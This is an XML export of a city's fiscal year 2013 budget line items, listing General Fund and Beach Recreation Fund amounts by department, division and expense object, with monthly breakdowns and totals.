<row _id="348"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22368.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22368.0</total></row>
<row _id="349"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533600.0</object><object_description>CONF / MTGS / TRAVEL-KM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6965.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6965.0</total></row>
<row _id="350"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>52</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5266.0</total></row>
<row _id="351"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="352"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35000.0</total></row>
<row _id="353"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511650.0</object><object_description>POLICE CADETS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>132932.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1329</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>134261.0</total></row>
<row _id="354"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>130000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>130000.0</total></row>
<row _id="355"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544060.0</object><object_description>JAIL SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>66810.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>66810.0</total></row>
<row _id="356"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544170.0</object><object_description>PROTECTIVE CLOTHING-NON-SWORN</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="357"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>102.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102.0</total></row>
<row _id="358"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>56523.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56523.0</total></row>
<row _id="359"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>31882.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31882.0</total></row>
<row _id="360"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>204.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>204.0</total></row>
<row _id="361"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2263191.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>22632</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2285823.0</total></row>
<row _id="362"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10289.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>103</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10392.0</total></row>
<row _id="363"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10293.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10293.0</total></row>
<row _id="364"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10883.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10883.0</total></row>
<row _id="365"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="366"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10800.0</total></row>
<row _id="367"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>39000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39000.0</total></row>
<row _id="368"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3683.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3683.0</total></row>
<row _id="369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1608.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1608.0</total></row>
<row _id="370"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3028162.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3028162.0</total></row>
<row _id="371"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>217983.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>217983.0</total></row>
<row _id="372"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3116.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3116.0</total></row>
<row _id="373"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20024.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20024.0</total></row>
<row _id="374"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10200.0</total></row>
<row _id="375"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25488.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25488.0</total></row>
<row _id="376"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>544020.0</object><object_description>AMMO / SHOOTING SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35357.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35357.0</total></row>
<row _id="377"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>566240.0</object><object_description>PARKING METER ENFORCEMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>31293.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31293.0</total></row>
<row _id="378"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>402920.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>402920.0</total></row>
<row _id="379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>32032.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>320</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32352.0</total></row>
<row _id="380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2272.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2272.0</total></row>
<row _id="381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17679.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17679.0</total></row>
<row _id="382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>37925</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37925.0</total></row>
<row _id="383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4200.0</total></row>
<row _id="386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2519034.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2519034.0</total></row>
<row _id="387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3560.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3560.0</total></row>
<row _id="394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>104.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
